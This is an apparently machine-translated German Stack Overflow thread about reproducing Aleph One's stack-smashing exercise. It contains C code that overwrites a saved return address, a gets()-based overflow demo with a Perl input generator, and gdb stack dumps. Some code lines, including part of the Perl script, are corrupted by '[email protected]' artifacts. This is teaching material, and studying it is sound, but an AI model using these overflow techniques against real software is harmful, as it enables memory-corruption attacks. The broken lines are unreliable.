2013-05-27 11 views
5

Ich versuche, die stackoverflow Ergebnisse zu reproduzieren, die ich aus Aleph One Artikel "Zerschlagung des Stapels für Spaß und Profit" (kann hier gefunden werden: http://insecure.org/stf/smashstack.html).Versuchen, den Stapel zu zerschlagen

Der Versuch, die Absenderadresse zu überschreiben scheint nicht für mich zu arbeiten.

C-Code:

  void function(int a, int b, int c) { 
       char buffer1[5]; 
       char buffer2[10]; 
       int *ret; 
       //Trying to overwrite return address 
       ret = buffer1 + 12; 
       (*ret) = 0x4005da; 
      } 

      void main() { 
       int x; 

       x = 0; 
       function(1,2,3); 
       x = 1; 
       printf("%d\n",x); 
      } 

Haupt zerlegt:

  (gdb) disassemble main 
      Dump of assembler code for function main: 
       0x00000000004005b0 <+0>:  push %rbp 
       0x00000000004005b1 <+1>:  mov %rsp,%rbp 
       0x00000000004005b4 <+4>:  sub $0x10,%rsp 
       0x00000000004005b8 <+8>:  movl $0x0,-0x4(%rbp) 
       0x00000000004005bf <+15>: mov $0x3,%edx 
       0x00000000004005c4 <+20>: mov $0x2,%esi 
       0x00000000004005c9 <+25>: mov $0x1,%edi 
       0x00000000004005ce <+30>: callq 0x400564 <function> 
       0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp) 
       0x00000000004005da <+42>: mov -0x4(%rbp),%eax 
       0x00000000004005dd <+45>: mov %eax,%esi 
       0x00000000004005df <+47>: mov $0x4006dc,%edi 
       0x00000000004005e4 <+52>: mov $0x0,%eax 
       0x00000000004005e9 <+57>: callq 0x400450 <[email protected]> 
       0x00000000004005ee <+62>: leaveq 
       0x00000000004005ef <+63>: retq 
      End of assembler dump. 

I hart, um die Rückkehradresse codiert haben die x = 1 zu überspringen; Codezeile, ich habe einen hartcodierten Wert vom Disassembler verwendet (Adresse: 0x4005da). Die Absicht dieses Exploits ist es, 0 zu drucken, aber stattdessen druckt es 1.

Ich habe ein sehr starkes Gefühl, dass "ret = buffer1 + 12;" ist nicht die Adresse der Rücksendeadresse. Wenn dies der Fall ist, wie kann ich die Rücksprungadresse bestimmen, wird gcc mehr Speicher zwischen der Rücksprungadresse und dem Puffer zuweisen.

Antwort

4

Hier ist eine Anleitung, die ich vor einiger Zeit für einen Freund über einen Pufferüberlauf-Angriff mit gets geschrieben habe. Es geht um, wie man die Rücksendeadresse erhält und wie man sie über die alte schreibt:

Unser Wissen über den Stapel sagt uns, dass die Rücksprungadresse auf dem Stapel nach dem Puffer erscheint, den Sie überlaufen wollen. Wie weit nach dem Puffer die Rückkehradresse jedoch erscheint, hängt von der Architektur ab, die Sie verwenden. Um dies zu bestimmen, schreiben zunächst ein einfaches Programm, und überprüfen Sie die Montage:

C-Code:

void function() 
{ 
    char buffer[4]; 
} 

int main() 
{ 
    function(); 
} 

Versammlung (gekürzt):

function: 
    pushl %ebp 
    movl %esp, %ebp 
    subl $16, %esp 
    leave 
    ret 
main: 
    leal 4(%esp), %ecx 
    andl $-16, %esp 
    pushl -4(%ecx) 
    pushl %ebp 
    movl %esp, %ebp 
    pushl %ecx 
    call function 
    ... 

Es gibt mehrere Werkzeuge, die Sie verwenden können, um den Assemblercode zu prüfen. Zuerst ist natürlich Kompilierung direkt zu Assembly-Ausgabe von gcc mit gcc -S main.c.Dies kann schwierig zu lesen sein, da es wenig oder keine Hinweise darauf gibt, welcher Code dem ursprünglichen C-Code entspricht. Darüber hinaus gibt es eine Menge Code, der schwierig zu durchschauen sein kann. Ein anderes Werkzeug ist gdbtui. Der Vorteil der Verwendung von gdbtui besteht darin, dass Sie die Assemblyquelle während der Ausführung des Programms überprüfen und den Stapel während der Ausführung des Programms manuell überprüfen können. Es hat jedoch eine steile Lernkurve.

Das Montageprüfprogramm, das ich am besten mag, ist objdump. Running objdump -dS a.out gibt die Assembly-Quelle mit dem Kontext aus dem ursprünglichen C-Quellcode. Bei Verwendung von objdump beträgt der Offset der Rücksprungadresse aus dem Zeichenpuffer auf meinem Computer 8 Byte.

Diese Funktion function übernimmt die Rücksprungadresse und erhöht sie um 7. Die Anweisung, auf die ursprünglich die Rücksprungadresse gezeigt wurde, ist 7 Bytes lang, so dass das Hinzufügen von 7 den Rückkehradresse-Punkt zu der Anweisung unmittelbar nach der Zuweisung macht.

Im folgenden Beispiel überschreibe ich die Rücksprungadresse, um den Befehl x = 1 zu überspringen.

einfaches C-Programm:

void function() 
{ 
    char buffer[4]; 
    /* return address is 8 bytes beyond the start of the buffer */ 
    int *ret = buffer + 8; 
    /* assignment instruction we want to skip is 7 bytes long */ 
    (*ret) += 7; 
} 

int main() 
{ 
    int x = 0; 
    function(); 
    x = 1; 
    printf("%d\n",x); 
} 

Hauptfunktion (x = 1 bei 80483af ist sieben Bytes lang):

8048392: 8d4c2404  lea 0x4(%esp),%ecx 
8048396: 83e4f0   and $0xfffffff0,%esp 
8048399: ff71fc   pushl -0x4(%ecx) 
804839c: 55    push %ebp 
804839d: 89e5   mov %esp,%ebp 
804839f: 51    push %ecx 
80483a0: 83ec24   sub $0x24,%esp 
80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 
80483aa: e8c5ffffff  call 8048374 <function> 
80483af: c745f801000000 movl $0x1,-0x8(%ebp) 
80483b6: 8b45f8   mov -0x8(%ebp),%eax 
80483b9: 89442404  mov %eax,0x4(%esp) 
80483bd: c70424a0840408 movl $0x80484a0,(%esp) 
80483c4: e80fffffff  call 80482d8 <[email protected]> 
80483c9: 83c424   add $0x24,%esp 
80483cc: 59    pop %ecx 
80483cd: 5d    pop %ebp 

Wir wissen, wo die Absenderadresse und wir haben gezeigt, dass es zu ändern kann den Code betreffen, der ausgeführt wird. Ein Pufferüberlauf kann dasselbe tun, indem gets verwendet wird und die richtige Zeichenkette eingegeben wird, so dass die Rückkehradresse mit einer neuen Adresse überschrieben wird.

In einem neuen Beispiel unten haben wir eine Funktion function, die einen gefüllten Puffer hat. Wir haben auch eine Funktion uncalled, die nie aufgerufen wird. Mit der richtigen Eingabe können wir uncalled ausführen.

#include <stdio.h> 
#include <stdlib.h> 

void uncalled() 
{ 
    puts("uh oh!"); 
    exit(1); 
} 

void function() 
{ 
    char buffer[4]; 
    gets(buffer); 
} 

int main() 
{ 
    function(); 
    puts("program secure"); 
} 

uncalled ausführen zu können, überprüfen Sie die ausführbare objdump oder ähnliches mit der Adresse des Eintrittspunktes uncalled zu finden. Fügen Sie die Adresse dann an der richtigen Stelle an den Eingabepuffer an, so dass sie die alte Absenderadresse überschreibt. Wenn Ihr Computer Little-Endian ist (x86, usw.), müssen Sie die Endianität der Adresse tauschen.

Um dies richtig zu machen, habe ich unten ein einfaches Perl-Skript, das die Eingabe erzeugt, die den Pufferüberlauf verursacht, der die Rücksprungadresse überschreibt. Es nimmt zwei Argumente, zuerst nimmt es die neue Rücksprungadresse, und zweitens nimmt es die Entfernung (in Bytes) vom Anfang des Puffers zu der Rückkehradressenposition.

#!/usr/bin/perl 
print "x"[email protected][1];           # fill the buffer 
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input 
print "\n";             # new line to end gets 
2

Sie müssen den Stapel untersuchen, um festzustellen, ob buffer1+12 tatsächlich die richtige Adresse ist, die geändert werden muss. Diese Art von Zeug ist nicht gerade sehr portabel.

Ich würde wahrscheinlich auch einige Eyecatcher im Code platzieren, so dass Sie sehen können, wo die Puffer auf dem Stapel in Bezug auf die Absenderadresse sind:

char buffer1[5] = "1111"; 
char buffer2[10] = "2222"; 
1

Sie dies durch Ausdrucken herausfinden kann die Stapel. Fügen Sie folgenden Code hinzu:

Die __asm-Anweisung ist Visual Studio-spezifisch. Sobald Sie die Adresse des Stapels haben, können Sie es ausdrucken und sehen, was dort drin ist. Beachten Sie, dass sich der Stapel ändert, wenn Sie Aufgaben ausführen oder Anrufe tätigen. Sie müssen also den gesamten Speicherblock auf einmal speichern, indem Sie zuerst den Speicher an der Stapeladresse in ein Array kopieren und dann das Array ausdrucken.

Was Sie finden werden, ist alle Arten von Müll mit dem Stack-Frame und verschiedene Laufzeitprüfungen zu tun haben. Standardmäßig legt VS Guard-Code in den Stack, um genau das zu verhindern, was Sie versuchen zu tun. Wenn Sie den Baugruppeneintrag für "Funktion" ausdrucken, sehen Sie dies. Sie müssen einen Compiler-Schalter setzen, um all das auszuschalten.

+0

ich diese Methode nicht verwenden kann, , weil ich Linux und GNU GCC verwende. –

+0

@Mike, eigentlich können Sie die _method_ verwenden, da 'gcc' auch inline' asm' bereitstellt. Sie müssen es nur in die alternative Syntax konvertieren. – paxdiablo

0

Als Alternative zu den in anderen Antworten vorgeschlagenen Methoden, können Sie diese Art der Sache heraus gdb verwenden. Um die Ausgabe ein wenig einfacher zu lesen, entferne ich die buffer2-Variable und ändere buffer1 auf 8 Bytes, damit die Dinge besser ausgerichtet sind. Wir werden auch in 32 Bit kompilieren, machen es einfacher, die Adressen zu lesen, und schalten das Debugging ein (gcc -m32 -g).

void function(int a, int b, int c) { 
    char buffer1[8]; 
    char *ret; 

also lassen Sie uns die Adresse buffer1 drucken:

(gdb) print &buffer1 
$1 = (char (*)[8]) 0xbffffa40 

dann lassen Sie uns ein wenig über das Drucken und sehen, was auf dem Stapel ist.

(gdb) x/16x 0xbffffa40 
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

ein Backtrace tun, wo die Absender-Adresse zu sehen zeigen soll:

(gdb) bt 
#0 function (a=1, b=2, c=3) at foo.c:18 
#1 0x00001f3b in main() at foo.c:26 

und sicher genug ist, gibt es bei 0xbffffa5b:

(gdb) x/x 0xbffffa5b 
0xbffffa5b: 0x001f3bbf 
Verwandte Themen